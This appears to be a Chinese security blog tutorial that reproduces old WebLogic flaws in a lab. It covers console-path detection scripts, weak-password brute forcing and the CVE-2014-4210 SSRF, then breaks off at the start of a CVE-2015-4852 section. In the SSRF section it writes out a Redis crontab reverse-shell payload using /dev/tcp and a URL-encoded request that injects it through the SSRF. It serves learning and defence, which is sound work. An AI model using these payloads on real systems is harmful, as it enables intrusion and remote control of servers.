0x00 前言
本文将基于漏洞扫描工具WeblogicScan (https://github.com/rabbitmask/WeblogicScan) 来进行WebLogic历史漏洞的学习与复现、以及自动化探测脚本的编写与思考。
0x01 环境搭建
简介
WebLogic是Oracle推出的一个J2EE中间件服务,可以用来开发、集成、部署和管理大型分布式Web应用等,比起Tomcat,其更为强大与全面,后者只支持JSP与Servlet,而WebLogic则支持EJB、
环境搭建
下载
这里就选择Oracle WebLogic Server 10.3.6来安装(https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html), 翻到最后一个就是10.3.6了,选择Generic即可(下载这种旧版本需要登录Oracle账号,而且安装包有差不多1G,最好挂上代理)。
注意,10.3.6需要使用JDK1.7,下载地址如下:
(https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html)
如果安装过程中不小心设置错了,可以在C:\Oracle\Middleware\wlserver_10.3\common\bin中的commEnv.cmd中进行修改。
安装
双击Jar文件即可开始安装,中间会遇到一个填写邮箱和口令的步骤,直接下一步,弹出连接失败后,勾选“我希望不接收…”即可。
创建域
安装完成后,双击Quick Start,然后选择Getting started,创建一个新的WebLogic域。一路默认并设置好登录口令(故意设置成弱密码)。之后选择生产者模式(这里我想模拟部署环境而不是开发),把所有功能选上,然后一路下一步即可。
启动
在C:\Oracle\Middleware\user_projects\domains\base_domain
中双击startWebLogic.cmd即可启动。然后访问http://127.0.0.1:7001/console
即可进入到控制台登录界面:
0x02 控制台路径泄露
简介
所谓控制台路径泄露,就是使用了默认的控制台路径/console/login/LoginForm.jsp
,然后又存在弱密码登录,导致黑客可以进入控制台界面。
我的脚本
这个很简单,直接使用Requests即可:
import requests
import argparse
from rich import console
console = console.Console()
def isConsole(url):
try:
targetUrl = url + "/console/login/LoginForm.jsp"
rq = requests.get(url=targetUrl, timeout=10)
except Exception as foo:
console.print("[red]超时,请检查URL的有效性[/]")
else:
if rq.status_code == 200:
console.print("[red]控制台路径泄露,可能存在弱密码登录[/] ---> {}".format(targetUrl))
顺便使用了一下Rich库,让文本更好看(闲的无聊)
大佬的脚本
def islive(ur,port):
url='http://' + str(ur)+':'+str(port)+'/console/login/LoginForm.jsp'
r = requests.get(url, headers=headers)
return r.status_code
def run(url,port):
if islive(url,port)==200:
u='http://' + str(url)+':'+str(port)+'/console/login/LoginForm.jsp'
return (1,"[+] [{}] Weblogic console address is exposed! The path is: {}".format(url+':'+str(port),u))
else:
return (0,"[-] [{}] Weblogic console address not found!".format(url+':'+str(port)))
嗯,大同小异吧,简单的脚本都差不多。但其实还可以写一个爆破模块的,不过那个用Burp可能更加方便一点。
漏洞利用
使用Burp进行弱密码的爆破即可,这里密码是明文传输,而且没有验证码,也许可以设置什么参数开启,但因为我也是第一次用,就不太清楚了。
我这里设置的密码就是12345678,所以就很容易被爆破出来。也可以使用网上别人收集的字典来爆破:SaiDict/weblogic.txt at master · Stardustsky/SaiDict (github.com)
漏洞防御
使用强密码,更改控制台默认路径。(两者都可以在登陆进控制台后进行修改)
0x03 CVE-2014-4210
简介
影响版本: weblogic 10.0.2 – 10.3.6.0
WebLogic中的UDDI组件中的SearchPublicReqistries.jsp中的operator参数存在SSRF漏洞,如果服务端或内网存在Redis未授权访问等其他漏洞则可以配合进行攻击。
原理
WebLogic如果安装了UDDI组件,则会存在/uddiexplorer/SearchPublicRegistries.jsp
这一个页面,并且是可以公共访问的:
其中Public Register处的operator参数存在SSRF,点击search后,抓包测试如下:
访问不存在的页面会返回404的状态码,说明确实存在SSRF。但是测试一下之后好像只支持HTTP协议,所以单一个SSRF可能并没有太多作用,只能用来探测探测内网信息。
另外请求格式也支持GET(这样的好处是正好可以用来打Redis),GET包如下:
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:7001/chenlvtang&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.1
Host: 192.168.111.128:7001
Content-Type: application/x-www-form-urlencoded
\r\n
这里Content-Type是一定不能少的,不然不会有回显。
漏洞利用
除了上面用来探测内网信息之外,这个漏洞最大的作用是利用SSRF攻击未授权的Redies服务实现getshell。
这里借助vulhub中的docker镜像,镜像同样非常大,需要耐心等待,下载完后还启动失败,修了半天,报错信息如下:
Creating ssrf_redis_1 ... error
ERROR: for ssrf_redis_1 Cannot start service redis: cgroups: cgroup mountpoint does not exist: unknown
ERROR: for redis Cannot start service redis: cgroups: cgroup mountpoint does not exist: unknown
在全球最大同性交友网站中(cgroups: cannot found cgroup mount destination: unknown · Issue #219 · docker/for-linux (github.com)),找到一个解决方案如下:
!!!!!并没有解决,只是不再报错,Redis依然没成功运行。Didn’t Work For Mel!!!!
sudo mkdir /sys/fs/cgroup/systemd
sudo mount -t cgroup -o none,name=systemd cgroup /sys/fs/cgroup/systemd
虽然不知道发生了什么,但是就是奇妙的修复成功了,下面开始测试:
确定是存在SSRF的。这里看Readme是要我们猜一下内网网段然后探测, 我也懒得猜了,直接使用docker inspect ef2(容器ID)
查看IP,得到Web的内网IP为:172.19.0.3。当访问的IP不可达时会显示“No route to Host”,而可达时是其他错误,所以可以借此爆破最后一位,居然没有结果…..这时候发现docker里面redies进程并没有成功运行,只是不报错了……
所以就复现不下去了,这里就说一下怎么做吧:
a)拿到IP之后,再爆破一下端口,一般为6379
b)写定时任务反弹shell的Payload:
set 1 "\n\n\n\n* * * * * /bin/bash -c 'sh -i >& /dev/tcp/hackerIP/hackerPort 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
c)在WebLogic的SSRF中可以使用%0a%0d来将命令换行(Redis以\r\n来分隔命令),所以URL编码一下,构造出如下的Payload:
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20%2Fbin%2Fbash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
不过你可能可我一样有个疑问,“为什么之前在Gopher协议攻击Redis的时候,你都是根据RESP协议来构造Payload,而这里却可以直接一个换行就搞定了呢?”
在咨询完群里的师傅(@啊韬)后,才知道我们貌似之前也能使用这种内联命令的模式,下次测试一下
InCTF 2021 Web 部分题解 · 语雀 (yuque.com)
Redis protocol (redis通信协议) (daimajiaoliu.com)
探测脚本
作者依然使用的是Request请求来确定是否存在这个页面,这里就不再展示了。
漏洞防御
升级Weblogic的版本,或删除这个页面。
0x04 CVE-2015-4852
虽然在工具的现在版本已经删除了这个漏洞的POC,但是因为后面的漏洞都是针对这个漏洞的绕过的新方法。
简介
WebLogic设计了T3协议来实现RMI,类似于我们常见的JRMP协议,在T3协议中同样是以序列化内容进行传输,并通过TCP的7001端口进行传输。而在WebLogic中的WLS Security Handler组件中使用了我们的老朋友Commons-Collections。两者的结合,便产生了反序列化漏洞。
影响:10.3.6、12.1.2-3、12.2.1
原理
因为这个漏洞在Java安全的研究中,是十分经典与重要的,所以将单独出一篇文章: